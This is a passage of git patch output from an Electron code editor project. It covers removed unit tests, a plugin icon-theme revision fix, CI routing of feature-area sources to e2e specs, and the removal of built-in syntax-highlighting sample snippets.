expect(JSON.stringify(payload).length).toBeLessThan(MAX_CASCADE_CRUMB_BYTES) - }) - it('stays silent for a render that settles well below the notice limit', () => { useCascadeStore.setState({ ticks: CASCADE_TICKS }) diff --git a/src/renderer/src/lib/wsl-moved-project-use-here.test.ts b/src/renderer/src/lib/wsl-moved-project-use-here.test.ts index ff78ebc7933..687bb8b41ae 100644 --- a/src/renderer/src/lib/wsl-moved-project-use-here.test.ts +++ b/src/renderer/src/lib/wsl-moved-project-use-here.test.ts @@ -29,16 +29,6 @@ function stubApi(result: WslMoveUseLocallyResult): ReturnType { return useProjectHereAgain } -/** Confirms, then returns the refusal notice: a dialog that only acknowledges. */ -async function refusalShown(): Promise { - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => true) - await bringWslMovedProjectBack(project, confirm) - // A toast for this sat behind the update notice, so nothing seemed to happen. - expect(confirm).toHaveBeenCalledTimes(2) - expect(confirm.mock.calls[1]?.[0]).toMatchObject({ acknowledgeOnly: true }) - return confirm.mock.calls[1]?.[0]?.description -} - describe('bringWslMovedProjectBack', () => { beforeEach(() => { vi.clearAllMocks() @@ -70,110 +60,9 @@ describe('bringWslMovedProjectBack', () => { expect(confirm.mock.calls[1]?.[0]?.description).not.toContain('other.md') }) - it("brings the project back when the unsaved files are another project's", async () => { - openFiles.push({ id: 'f2', relativePath: 'other.md', worktreeId: 'repo-2::/w', isDirty: true }) - const call = stubApi({ - released: true, - distro: 'Ubuntu', - repoIds: ['repo-1'], - folderWorkspaceIds: [] - }) - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => true) - await bringWslMovedProjectBack(project, confirm) - expect(call).toHaveBeenCalledOnce() - expect(confirm).toHaveBeenCalledTimes(1) - }) - it('does nothing unless the user confirms', async () => { const call = stubApi({ released: false, reason: 'not-moved' }) await bringWslMovedProjectBack(project, async () => false) expect(call).not.toHaveBeenCalled() }) - - it('says plainly what comes back and what stays on the host', async () => { - stubApi({ released: false, reason: 'not-moved' }) - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => false) - await bringWslMovedProjectBack(project, confirm) - const description = confirm.mock.calls[0]?.[0]?.description ?? '' - expect(description).toContain('Your code is not affected') - expect(description).toContain('stay on the host and do not come back') - expect(description).toContain('stays on the Ubuntu host until you remove it there') - expect(description).toContain('This window reloads') - }) - - it('asks main to bring the project back, and says nothing more on success', async () => { - const call = stubApi({ - released: true, - distro: 'Ubuntu', - repoIds: ['repo-1'], - folderWorkspaceIds: [] - }) - const confirm = vi.fn(async (_options: ConfirmationDialogOptions) => true) - await bringWslMovedProjectBack(project, confirm) - expect(call).toHaveBeenCalledWith({ kind: 'repo', id: 'repo-1', unsavedWorkspaceIds: [] }) - expect(confirm).toHaveBeenCalledTimes(1) - }) - - it('explains a refusal', async () => { - stubApi({ released: false, reason: 'superseded' }) - expect(await refusalShown()).toEqual(expect.stringContaining('A later move')) - }) - - it('names the newer move to bring back first', async () => { - // Undoing an older move said nothing about which newer one blocked it. - movedProjects.splice(0, movedProjects.length, { - kind: 'repo', - id: 'repo-9', - displayName: 'Repo 9' - }) - stubApi({ - released: false, - reason: 'superseded', - newerMove: { repoIds: ['repo-9'], folderWorkspaceIds: [] } - }) - expect(await refusalShown()).toBe( - 'Repo 9 moved to the Ubuntu host after this project. Use those on this computer again first, then this project.' - ) - }) - - it('asks to wait while a move of the distro still runs', async () => { - stubApi({ released: false, reason: 'move-running' }) - expect(await refusalShown()).toBe( - 'A move to the Ubuntu host is still running. Try again once it ends.' - ) - }) - - it("says to connect the host when its automations couldn't be turned off", async () => { - for (const reason of ['host-unreachable', 'failed'] as const) { - stubApi({ released: false, reason, detail: 'host-automations' }) - expect(await refusalShown()).toBe( - "Orca couldn't turn off this project's automations on the Ubuntu host, so they could run twice. Connect the host in Settings, then try again." - ) - } - }) - - it('says a host still being removed is left alone', async () => { - stubApi({ released: false, reason: 'failed', detail: 'host-removal-pending' }) - expect(await refusalShown()).toBe( - 'The Ubuntu host is still being removed, so Orca leaves it alone. Finish removing it in Settings, then try again.' - ) - }) - - it("adds that the host's terminals are asleep when the refusal came after their stop", async () => { - stubApi({ released: false, reason: 'failed', detail: 'journal', hostTerminalsAsleep: true }) - expect(await refusalShown()).toBe( - 'Could not bring this project back to this computer. Its terminals on the Ubuntu host were put to sleep. Open the project to resume them.' - ) - stubApi({ released: false, reason: 'host-still-running', hostTerminalsAsleep: true }) - expect(await refusalShown()).toBe( - "The Ubuntu host's copy of this project is still running terminals, so its agents could run twice. Wait a moment, then try again. Its terminals on the Ubuntu host were put to sleep. Open the project to resume them." - ) - }) - - it('says a host removed here but kept for another Orca needs re-adding', async () => { - stubApi({ released: false, reason: 'host-unreachable', detail: 'host-kept-for-peers' }) - expect(await refusalShown()).toBe( - 'Repo 1 moved to the Ubuntu host, which is still running for another Orca. Re-add the host to use it here again.' - ) - }) }) diff --git a/src/renderer/src/ssh/ssh-connect-in-flight.test.ts b/src/renderer/src/ssh/ssh-connect-in-flight.test.ts index 8ee04100798..ae2f1170155 100644 --- a/src/renderer/src/ssh/ssh-connect-in-flight.test.ts +++ b/src/renderer/src/ssh/ssh-connect-in-flight.test.ts @@ -25,23 +25,6 @@ describe('ssh connect in-flight registry', () => { expect(isSshConnectInFlight('ssh-b')).toBe(false) }) - it('clears the target when the connect settles', () => { - beginSshConnect('ssh-a') - endSshConnect('ssh-a') - - expect(isSshConnectInFlight('ssh-a')).toBe(false) - }) - - it('notifies subscribers on both edges', () => { - const listener = vi.fn() - subscribeSshConnectInFlight(listener) - - beginSshConnect('ssh-a') - endSshConnect('ssh-a') - - expect(listener).toHaveBeenCalledTimes(2) - }) - // Duplicate begin must neither notify all host surfaces nor let its paired end clear a live acquisition. it('ignores a duplicate begin without re-notifying', () => { const listener = vi.fn() diff --git a/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts b/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts index e97cf65f7c6..a16d69de2e9 100644 --- a/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts +++ b/src/renderer/src/store/slices/workspace-cleanup-host-qualified-list-state.test.ts @@ -2,7 +2,6 @@ import { describe, expect, it, vi } from 'vitest' import { getWorkspaceCleanupCandidateIdentity, - getWorkspaceCleanupHostIdentity, resolveWorkspaceCleanupRemovalHostId } from '../../../../shared/workspace-cleanup-host-identity' import { @@ -66,17 +65,6 @@ function makeDismissal( } describe('workspace cleanup host-qualified identity', () => { - it('separates two hosts publishing the same worktree id', () => { - const local = makeCandidate('local') - const remote = makeCandidate('ssh:ssh-1', 'ssh-1') - expect(getWorkspaceCleanupCandidateIdentity(local)).not.toBe( - getWorkspaceCleanupCandidateIdentity(remote) - ) - expect(getWorkspaceCleanupCandidateIdentity(remote)).toBe( - getWorkspaceCleanupHostIdentity('ssh:ssh-1', WORKTREE_ID) - ) - }) - it('reports no removal host for a row with no host evidence', () => { expect(resolveWorkspaceCleanupRemovalHostId(makeCandidate(undefined))).toBeNull() // A pre-executionHostId remote row still names its connection. @@ -95,10 +83,6 @@ describe('workspace cleanup dismissals', () => { expect(shouldHideWorkspaceCleanupCandidate(makeCandidate('local'), dismissal)).toBe(false) }) - it('keeps a legacy id-only dismissal hiding its row', () => { - expect(shouldHideWorkspaceCleanupCandidate(makeCandidate('local'), makeDismissal())).toBe(true) - }) - it('stores same-id dismissals independently and still reads a legacy id-only key', async () => { const local = makeCandidate('local') const remote = makeCandidate('ssh:ssh-1', 'ssh-1') @@ -157,11 +141,4 @@ describe('workspace cleanup removal targets', () => { }) expect(target?.kind).toBe('unresolved') }) - - it('fails closed for a confirmed row when no owner row carries a host', () => { - const [target] = resolveWorkspaceCleanupRemovalTargets([WORKTREE_ID], emptyState, { - approvedCandidates: [makeCandidate(undefined)] - }) - expect(target?.kind).toBe('unresolved') - }) }) From 41c71922a80c814734f5b25966299da9feb64034 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:45:46 -0700 Subject: [PATCH 29/47] fix(plugins): refresh dev-folder icon themes when SVGs change in place (#36636) --- .../plugin-icon-theme-registry.test.ts | 23 +++++++++- .../plugin-icon-theme-registry.ts | 42 +++++++++++++++---- 2 files changed, 57 insertions(+), 8 deletions(-) diff --git a/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts b/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts index c138aa5f9a9..01ec8e4b6cf 100644 --- a/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts +++ b/src/main/plugins/contributions/plugin-icon-theme-registry.test.ts @@ -1,4 +1,4 @@ -import { mkdir, mkdtemp, rm, writeFile } from 'node:fs/promises' +import { mkdir, mkdtemp, rm, utimes, writeFile } from 'node:fs/promises' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, expect, it } from 'vitest' @@ -90,3 +90,24 @@ it('fails a load whose file is not an SVG document and forgets themes once disab await registry.reconcile([plugin], () => false) expect(registry.list()).toEqual([]) }) + +it('changes a dev folder theme revision when an SVG is edited in place', async () => { + const plugin = await iconPlugin({ + 'folder.svg': '', + 'ts.svg': '' + }) + const registry = new PluginIconThemeRegistry(new PluginContentVerifier()) + await registry.reconcile([plugin], () => true) + const revision = registry.list()[0]?.revision + await registry.reconcile([plugin], () => true) + expect(registry.list()[0]?.revision).toBe(revision) + + const svgPath = join(plugin.rootDir, 'icons', 'ts.svg') + await writeFile(svgPath, '') + // Pin a distinct mtime so coarse filesystem timestamps cannot hide the edit. + await utimes(svgPath, new Date(2_000_000_000_000), new Date(2_000_000_000_000)) + await registry.reconcile([plugin], () => true) + expect(registry.list()[0]?.revision).not.toBe(revision) + const theme = await registry.load('plugin:samples.minimal-icons/minimal') + expect(theme?.svgs[theme.fileExtensions.ts ?? -1]).toBe('') +}) diff --git a/src/main/plugins/contributions/plugin-icon-theme-registry.ts b/src/main/plugins/contributions/plugin-icon-theme-registry.ts index 8b434b3a8a7..75a5fbdfc75 100644 --- a/src/main/plugins/contributions/plugin-icon-theme-registry.ts +++ b/src/main/plugins/contributions/plugin-icon-theme-registry.ts @@ -1,4 +1,5 @@ import { createHash } from 'node:crypto' +import { stat } from 'node:fs/promises' import type { PluginThemeContribution } from '../../../shared/plugins/contributions/plugin-content-pack-contributions' import { PLUGIN_ICON_SVG_MAX_BYTES, @@ -10,7 +11,8 @@ import { } from '../../../shared/plugins/artifacts/plugin-icon-theme-artifact' import { PLUGIN_ICON_THEME_MAX_BYTES, - readContainedPluginArtifactText + readContainedPluginArtifactText, + resolveContainedPluginArtifact } from '../plugin-artifact-validation' import { PluginArtifactPackRegistry } from './plugin-artifact-pack-registry' import type { PluginContentVerifier } from '../plugin-content-integrity' @@ -41,19 +43,23 @@ export class PluginIconThemeRegistry { contribution.path, PLUGIN_ICON_THEME_MAX_BYTES ) + const artifact = parsePluginIconThemeArtifact(text) + // Why the tree hash: SVGs load lazily, so it stands in for their bytes across updates. + // Dev folders have no tree hash, so in-place SVG edits are caught by file stats instead. + const svgStamp = + plugin.contentHash ?? (await statIconFiles(plugin.rootDir, iconPaths(artifact))) return { id: `plugin:${plugin.pluginKey}/${contribution.id}`, pluginKey: plugin.pluginKey, label: contribution.title, - // Why the tree hash: SVGs load lazily, so it stands in for their bytes across updates. revision: createHash('sha256') - .update(plugin.contentHash ?? '') + .update(svgStamp) .update('\0') .update(text) .digest('hex') .slice(0, 32), rootDir: plugin.rootDir, - artifact: parsePluginIconThemeArtifact(text) + artifact } } }) @@ -92,15 +98,37 @@ export class PluginIconThemeRegistry { } } -async function materialize(descriptor: IconThemeDescriptor): Promise { - const { artifact } = descriptor - const paths = [ +function iconPaths(artifact: PluginIconThemeArtifact): string[] { + return [ ...new Set([ ...Object.values(artifact.icons), ...Object.values(artifact.fileNames), ...Object.values(artifact.fileExtensions) ]) ] +} + +async function statIconFiles(rootDir: string, paths: readonly string[]): Promise { + const stamps = await Promise.all( + paths.map(async (path) => { + try { + const file = await stat( + await resolveContainedPluginArtifact(rootDir, path, PLUGIN_ICON_SVG_MAX_BYTES), + { bigint: true } + ) + return `${path}:${file.size}:${file.mtimeNs}` + } catch { + // Load reports the real error; a missing file must still change the revision. + return `${path}:missing` + } + }) + ) + return stamps.join('\n') +} + +async function materialize(descriptor: IconThemeDescriptor): Promise { + const { artifact } = descriptor + const paths = iconPaths(artifact) const svgs: string[] = [] let totalBytes = 0 for (const path of paths) { From 1988af6125b2cdc59468a12d2f2d0ba3103aca42 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:48:18 -0700 Subject: [PATCH 30/47] ci(e2e): route feature-area sources to their nightly-only e2e specs (#36639) --- .github/workflows/pr.yml | 1 + .../pr-auxiliary-preflight-admission.test.mjs | 1 + config/scripts/pr-e2e-source-routing.mjs | 2 + .../pr-feature-area-e2e-routing.test.mjs | 97 ++++++++++++++++ .../pr-feature-area-e2e-source-routes.mjs | 108 ++++++++++++++++++ 5 files changed, 209 insertions(+) create mode 100644 config/scripts/pr-feature-area-e2e-routing.test.mjs create mode 100644 config/scripts/pr-feature-area-e2e-source-routes.mjs diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 62d0c4716b1..9a61c0f46cf 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -83,6 +83,7 @@ jobs: /config/scripts/pr-e2e-source-routing.mjs /config/scripts/pr-browser-e2e-source-routes.mjs /config/scripts/pr-editor-preview-e2e-source-routes.mjs + /config/scripts/pr-feature-area-e2e-source-routes.mjs /config/scripts/pr-plugin-e2e-source-routes.mjs /config/scripts/pr-wsl-e2e-source-routes.mjs /config/scripts/ci-e2e-job-selection.mjs diff --git a/config/scripts/pr-auxiliary-preflight-admission.test.mjs b/config/scripts/pr-auxiliary-preflight-admission.test.mjs index 791036e542c..c2247ad0578 100644 --- a/config/scripts/pr-auxiliary-preflight-admission.test.mjs +++ b/config/scripts/pr-auxiliary-preflight-admission.test.mjs @@ -392,6 +392,7 @@ function createMobileCiScopeRepository( 'config/scripts/pr-e2e-source-routing.mjs', 'config/scripts/pr-browser-e2e-source-routes.mjs', 'config/scripts/pr-editor-preview-e2e-source-routes.mjs', + 'config/scripts/pr-feature-area-e2e-source-routes.mjs', 'config/scripts/pr-plugin-e2e-source-routes.mjs', 'config/scripts/pr-wsl-e2e-source-routes.mjs', 'config/scripts/ci-e2e-job-selection.mjs' diff --git a/config/scripts/pr-e2e-source-routing.mjs b/config/scripts/pr-e2e-source-routing.mjs index c72eedcafb1..72c0efbf516 100644 --- a/config/scripts/pr-e2e-source-routing.mjs +++ b/config/scripts/pr-e2e-source-routing.mjs @@ -9,6 +9,7 @@ import { MANAGED_SSH_E2E_SPEC_PREFIX } from './ci-e2e-job-selection.mjs' import { LAYOUT_ORACLE_E2E_SPECS } from './pr-layout-oracle-route.mjs' import { PR_BROWSER_E2E_SOURCE_ROUTES } from './pr-browser-e2e-source-routes.mjs' import { PR_EDITOR_PREVIEW_E2E_SOURCE_ROUTES } from './pr-editor-preview-e2e-source-routes.mjs' +import { PR_FEATURE_AREA_E2E_SOURCE_ROUTES } from './pr-feature-area-e2e-source-routes.mjs' import { PR_PLUGIN_E2E_SOURCE_ROUTES } from './pr-plugin-e2e-source-routes.mjs' import { PR_WSL_E2E_SOURCE_ROUTES } from './pr-wsl-e2e-source-routes.mjs' @@ -39,6 +40,7 @@ const ENABLED_AUTOMATION_MOVE = export const PR_E2E_SOURCE_ROUTES = [ ...PR_BROWSER_E2E_SOURCE_ROUTES, ...PR_EDITOR_PREVIEW_E2E_SOURCE_ROUTES, + ...PR_FEATURE_AREA_E2E_SOURCE_ROUTES, ...PR_PLUGIN_E2E_SOURCE_ROUTES, ...PR_WSL_E2E_SOURCE_ROUTES, { diff --git a/config/scripts/pr-feature-area-e2e-routing.test.mjs b/config/scripts/pr-feature-area-e2e-routing.test.mjs new file mode 100644 index 00000000000..e79cc2699e3 --- /dev/null +++ b/config/scripts/pr-feature-area-e2e-routing.test.mjs @@ -0,0 +1,97 @@ +import { describe, expect, it } from 'vitest' +import { existsSync, readdirSync } from 'node:fs' +import { join, resolve } from 'node:path' +import { generalE2eShards } from './ci-e2e-job-selection.mjs' +import { selectPrE2eSpecs } from './pr-e2e-source-routing.mjs' +import { PR_FEATURE_AREA_E2E_SOURCE_ROUTES } from './pr-feature-area-e2e-source-routes.mjs' + +const projectDir = resolve(import.meta.dirname, '../..') + +function productSources(directory) { + return readdirSync(join(projectDir, directory), { recursive: true, withFileTypes: true }) + .filter((entry) => entry.isFile() && /\.tsx?$/.test(entry.name)) + .map((entry) => join(entry.parentPath, entry.name).slice(projectDir.length + 1)) + .map((file) => file.split('\\').join('/')) + .filter((file) => !/\.test\.tsx?$/.test(file)) +} + +describe('feature area PR E2E routing', () => { + it.each([ + [ + 'src/renderer/src/components/automations/AutomationDeleteDialogs.tsx', + 'automation-runs-dashboard' + ], + ['src/renderer/src/components/feature-wall/AgentCapabilityStatusBadges.tsx', 'feature-wall'], + ['src/renderer/src/components/sparse/SparseCheckoutPresetDraftForm.tsx', 'sparse-preset-proof'], + ['src/renderer/src/components/onboarding/AgentStep.tsx', 'onboarding'], + ['src/renderer/src/components/diff-comments/DiffCommentCard.tsx', 'diff-note-edit'], + [ + 'src/renderer/src/components/floating-terminal/FloatingTerminalEmptyState.tsx', + 'floating-terminal-switch-reveal' + ], + ['src/main/speech/model-catalog.ts', 'voice-microphone-selection'], + ['src/renderer/src/components/right-sidebar/AiVaultPanel.tsx', 'ai-vault-panel-search'], + ['src/main/ai-vault-search/session-search-child-service.ts', 'ai-vault-panel-search'], + ['src/main/linear/client.ts', 'linear-private-images'], + ['src/renderer/src/components/task-page/jira/Content.tsx', 'jira-panel-layout'], + ['src/renderer/src/components/task-page/Content.tsx', 'tasks-page'], + ['src/main/project-groups/folder-workspace-path-status.ts', 'project-group-manual-sort'], + ['src/renderer/src/components/stats/UsageOverviewPane.tsx', 'usage-overview'], + ['src/renderer/src/components/pet/PetOverlay.tsx', 'pet-status-segment-layout'], + ['src/renderer/src/components/setup-guide/SetupGuideModal.tsx', 'setup-guide-sidebar'], + [ + 'src/renderer/src/components/new-workspace/ComposerBaseRefPicker.tsx', + 'new-workspace-create-more' + ] + ])('routes %s to %s', (file, spec) => { + expect(selectPrE2eSpecs([file])).toContain(`tests/e2e/${spec}.spec.ts`) + }) + + it('routes only to specs that exist', () => { + for (const spec of PR_FEATURE_AREA_E2E_SOURCE_ROUTES.flatMap((route) => route.specs)) { + expect(existsSync(join(projectDir, spec)), spec).toBe(true) + } + }) + + it('routes every product source in each owned feature directory', () => { + for (const directory of [ + 'src/renderer/src/components/automations', + 'src/renderer/src/components/feature-wall', + 'src/renderer/src/components/onboarding', + 'src/renderer/src/components/diff-comments', + 'src/renderer/src/components/task-page', + 'src/main/ai-vault', + 'src/main/linear', + 'src/main/jira' + ]) { + const files = productSources(directory) + expect(files.length, directory).toBeGreaterThan(0) + for (const file of files) { + expect( + PR_FEATURE_AREA_E2E_SOURCE_ROUTES.some((route) => route.matches(file)), + file + ).toBe(true) + } + } + }) + + it('keeps any single feature directory in one changed-spec shard', () => { + for (const route of PR_FEATURE_AREA_E2E_SOURCE_ROUTES) { + expect(generalE2eShards(JSON.stringify(route.specs)), route.id).toEqual(['1/1']) + } + }) + + it('leaves unit tests and neighbouring sources alone', () => { + for (const file of [ + 'src/renderer/src/components/automations/AutomationDestinationField.test.tsx', + 'src/renderer/src/components/right-sidebar/FileExplorer.tsx', + 'src/main/linear-unrelated.ts', + 'src/renderer/src/components/settings/GeneralPane.tsx' + ]) { + expect( + PR_FEATURE_AREA_E2E_SOURCE_ROUTES.filter((route) => route.matches(file)), + file + ).toEqual([]) + } + }) +}) diff --git a/config/scripts/pr-feature-area-e2e-source-routes.mjs b/config/scripts/pr-feature-area-e2e-source-routes.mjs new file mode 100644 index 00000000000..53020e7a2fa --- /dev/null +++ b/config/scripts/pr-feature-area-e2e-source-routes.mjs @@ -0,0 +1,108 @@ +import { isUnitTestSupportSource } from './pr-code-change-scope.mjs' + +const isProductSource = (file) => !/\.test\.tsx?$/.test(file) && !isUnitTestSupportSource(file) + +const COMPONENTS = 'src/renderer/src/components/' + +/** A route for product sources under any of `prefixes` to specs that only exercise that feature. */ +function featureRoute(id, specs, prefixes) { + return { + id, + specs: specs.map((name) => `tests/e2e/${name}.spec.ts`), + matches: (file) => isProductSource(file) && prefixes.some((prefix) => file.startsWith(prefix)) + } +} + +// Feature areas whose specs the nightly suite alone used to select (gap audit, Oct 2026). +export const PR_FEATURE_AREA_E2E_SOURCE_ROUTES = [ + featureRoute( + 'feature.automations-ui', + ['automation-prompt-disclosure', 'automation-runs-dashboard'], + [`${COMPONENTS}automations/`] + ), + featureRoute('feature.feature-wall', ['feature-wall'], [`${COMPONENTS}feature-wall/`]), + featureRoute( + 'feature.sparse-checkout', + ['sparse-explorer-proof', 'sparse-preset-proof'], + [`${COMPONENTS}sparse/`] + ), + featureRoute( + 'feature.onboarding', + ['onboarding', 'onboarding-language-catalog-retry'], + [`${COMPONENTS}onboarding/`] + ), + featureRoute( + 'feature.diff-notes', + [ + 'diff-note-delete', + 'diff-note-draft', + 'diff-note-edit', + 'diff-note-layout', + 'diff-note-line-range' + ], + [`${COMPONENTS}diff-comments/`] + ), + featureRoute( + 'feature.floating-terminal', + [ + 'floating-terminal-switch-reveal', + 'floating-terminal-tab-rename-focus', + 'floating-workspace-pane-height' + ], + [`${COMPONENTS}floating-terminal/`] + ), + featureRoute( + 'feature.dictation', + ['dictation-indicator', 'voice-microphone-selection'], + [`${COMPONENTS}dictation/`, 'src/main/speech/'] + ), + featureRoute( + 'feature.ai-vault', + ['ai-vault-panel-search', 'ai-vault-session-delete'], + [ + 'src/main/ai-vault/', + 'src/main/ai-vault-search/', + `${COMPONENTS}right-sidebar/ai-vault-`, + `${COMPONENTS}right-sidebar/AiVault` + ] + ), + featureRoute( + 'feature.linear', + [ + 'linear-filter-chip-labels', + 'linear-issue-view-persistence', + 'linear-private-images', + 'linear-url-workspace-entry' + ], + [ + `${COMPONENTS}task-page/linear/`, + 'src/renderer/src/store/slices/linear/', + 'src/main/linear/', + 'src/main/ipc/linear/', + 'src/shared/linear/' + ] + ), + featureRoute( + 'feature.jira', + ['jira-panel-layout'], + [`${COMPONENTS}task-page/jira/`, 'src/main/jira/', 'src/main/ipc/jira/', 'src/shared/jira/'] + ), + featureRoute('feature.tasks-page', ['tasks-page'], [`${COMPONENTS}task-page/`]), + featureRoute( + 'feature.project-groups', + ['project-group-creation-visibility', 'project-group-manual-sort'], + ['src/main/project-groups/', 'src/renderer/src/store/project-groups/'] + ), + featureRoute('feature.usage-overview', ['usage-overview'], [`${COMPONENTS}stats/`]), + featureRoute('feature.pet', ['pet-status-segment-layout'], [`${COMPONENTS}pet/`]), + featureRoute('feature.setup-guide', ['setup-guide-sidebar'], [`${COMPONENTS}setup-guide/`]), + featureRoute( + 'feature.new-workspace', + [ + 'new-workspace-create-more', + 'new-workspace-cross-project-dialog', + 'new-workspace-linked-item-project-switch' + ], + [`${COMPONENTS}new-workspace/`] + ) +] From 98615d3b120f9e008938a9175c924e6b041add46 Mon Sep 17 00:00:00 2001 From: Neil <4138956+nwparker@users.noreply.github.com> Date: Sat, 31 Oct 2026 01:48:54 -0700 Subject: [PATCH 31/47] plugins: Try it on a syntax plugin opens a blank untitled file (#36637) Drop the hand-written per-language samples. Try it now opens an empty untitled through the existing untitled-file flow, so the grammar highlights what the user types. Custom editors with newFiles keep their template-seeded new file. --- .../page/PluginContributionActionSyntax.tsx | 18 +- .../state/plugin-syntax-samples.test.ts | 47 ---- .../plugins/state/plugin-syntax-samples.ts | 261 ------------------ .../plugins/state/plugin-try-action.test.ts | 19 ++ .../plugins/state/plugin-try-action.ts | 19 +- .../editor/actions/untitled-file-creation.ts | 6 +- .../slices/editor/types/editor-files-slice.ts | 4 +- tests/e2e/plugin-try-it.spec.ts | 11 +- 8 files changed, 55 insertions(+), 330 deletions(-) delete mode 100644 src/renderer/src/components/plugins/state/plugin-syntax-samples.test.ts delete mode 100644 src/renderer/src/components/plugins/state/plugin-syntax-samples.ts create mode 100644 src/renderer/src/components/plugins/state/plugin-try-action.test.ts diff --git a/src/renderer/src/components/plugins/page/PluginContributionActionSyntax.tsx b/src/renderer/src/components/plugins/page/PluginContributionActionSyntax.tsx index 262adec514b..6b864d0d834 100644 --- a/src/renderer/src/components/plugins/page/PluginContributionActionSyntax.tsx +++ b/src/renderer/src/components/plugins/page/PluginContributionActionSyntax.tsx @@ -1,11 +1,10 @@ import { translate } from '@/i18n/i18n' import { useAppStore } from '@/store' import { Button } from '../../ui/button' -import { openPluginSampleFromSettings } from '../state/plugin-try-action' -import { pluginSyntaxSample } from '../state/plugin-syntax-samples' +import { openPluginBlankFileFromSettings } from '../state/plugin-try-action' import { pluginPanelUnavailableReason } from './plugin-contribution-action-availability' -/** A grammar shows the moment a matching file is open, so Try it opens a sample of one. */ +/** A grammar shows the moment a matching file is open, so Try it opens a blank one. */ export function PluginContributionSyntaxHint({ extensions, filenames @@ -14,16 +13,19 @@ export function PluginContributionSyntaxHint({ filenames: readonly string[] }): React.JSX.Element | null { const noWorkspace = useAppStore((state) => pluginPanelUnavailableReason(state) !== null) - const sample = pluginSyntaxSample([{ extensions }]) - if (sample && !noWorkspace) { + const extension = extensions[0] + const filename = filenames[0] + if (extension && !noWorkspace) { return ( - ) } - const extension = extensions[0] - const filename = filenames[0] if (!extension && !filename) { return null } diff --git a/src/renderer/src/components/plugins/state/plugin-syntax-samples.test.ts b/src/renderer/src/components/plugins/state/plugin-syntax-samples.test.ts deleted file mode 100644 index a59d72d690a..00000000000 --- a/src/renderer/src/components/plugins/state/plugin-syntax-samples.test.ts +++ /dev/null @@ -1,47 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { pluginSyntaxSample } from './plugin-syntax-samples' - -// First extension each official syntax plugin lists in orca-catalog.json. -const OFFICIAL_SYNTAX_EXTENSIONS = [ - '.gleam', - '.prisma', - '.nix', - '.gd', - '.tex', - '.vhd', - '.vcl', - '.qml', - '.tks', - '.http', - '.service', - '.m', - '.ml', - '.jl', - '.hs', - '.erl', - '.jsp' -] - -describe('pluginSyntaxSample', () => { - it.each(OFFICIAL_SYNTAX_EXTENSIONS)('has a non-trivial sample for %s', (extension) => { - const sample = pluginSyntaxSample([{ extensions: [extension] }]) - expect(sample?.extension).toBe(extension) - expect(sample?.content.split('\n').length).toBeGreaterThanOrEqual(6) - expect(sample?.content.endsWith('\n')).toBe(true) - }) - - it('uses the first listed extension that has a sample, keeping its case', () => { - expect( - pluginSyntaxSample([{ extensions: ['.vho'] }, { extensions: ['.VHD', '.vcl'] }]) - ).toMatchObject({ extension: '.VHD' }) - }) - - it('returns null when no extension has a sample', () => { - expect(pluginSyntaxSample([{ extensions: ['.unknown'] }, { extensions: [] }])).toBeNull() - }) - - it('keeps escaped characters that template literals would otherwise drop', () => { - expect(pluginSyntaxSample([{ extensions: ['.vcl'] }])?.content).toContain('"\\.(css') - expect(pluginSyntaxSample([{ extensions: ['.hs'] }])?.content).toContain('(\\w -> (w, 1))') - }) -}) diff --git a/src/renderer/src/components/plugins/state/plugin-syntax-samples.ts b/src/renderer/src/components/plugins/state/plugin-syntax-samples.ts deleted file mode 100644 index 4a02e6f6c9d..00000000000 --- a/src/renderer/src/components/plugins/state/plugin-syntax-samples.ts +++ /dev/null @@ -1,261 +0,0 @@ -// Why built in: catalog grammars ship no sample, and an empty file shows no highlighting. -// Keyed by extension; a plugin's first listed extension with a sample wins. -const SYNTAX_SAMPLES: Readonly> = { - '.gleam': - 'import gleam/io\n\n// Greets whoever runs it.\npub fn main() -> Nil {\n let count = 3\n io.println("Hello from Gleam!")\n}\n', - '.prisma': - '// A user table.\nmodel User {\n id Int @id @default(autoincrement())\n email String @unique\n name String?\n}\n', - '.nix': - '{ pkgs ? import { } }:\n\n# A development shell.\npkgs.mkShell {\n packages = [ pkgs.nodejs ];\n shellHook = "echo ready";\n}\n', - '.gd': - 'extends Node2D\n\n# Moves right every frame.\nvar speed := 120.0\n\nfunc _process(delta: float) -> void:\n\tposition.x += speed * delta\n', - '.tex': - '\\documentclass{article}\n\n% A tiny document.\n\\begin{document}\n\\section{Hello}\nInline math: $e^{i\\pi} + 1 = 0$.\n\\end{document}\n', - '.vhd': `library ieee; -use ieee.std_logic_1164.all; -use ieee.numeric_std.all; - --- A 4-bit counter with synchronous reset. -entity counter is - port ( - clk : in std_logic; - reset : in std_logic; - count : out unsigned(3 downto 0) - ); -end entity counter; - -architecture rtl of counter is - signal value : unsigned(3 downto 0) := (others => '0'); -begin - process (clk) - begin - if rising_edge(clk) then - if reset = '1' then - value <= (others => '0'); - else - value <= value + 1; - end if; - end if; - end process; - count <= value; -end architecture rtl; -`, - '.vcl': `vcl 4.1; - -# Cache static assets for a day. -backend default { - .host = "127.0.0.1"; - .port = "8080"; -} - -sub vcl_recv { - if (req.method != "GET" && req.method != "HEAD") { - return (pass); - } - if (req.url ~ "\\.(css|js|png|svg)$") { - unset req.http.Cookie; - return (hash); - } -} - -sub vcl_backend_response { - if (bereq.url ~ "\\.(css|js|png|svg)$") { - set beresp.ttl = 1d; - } -} -`, - '.qml': `import QtQuick -import QtQuick.Controls - -// A counter with a button. -ApplicationWindow { - id: window - width: 640 - height: 480 - visible: true - title: qsTr("Counter") - - property int count: 0 - - Column { - anchors.centerIn: parent - spacing: 12 - - Label { - text: "Clicked " + window.count + " times" - font.pixelSize: 24 - } - - Button { - text: "Click me" - onClicked: window.count += 1 - } - } -} -`, - 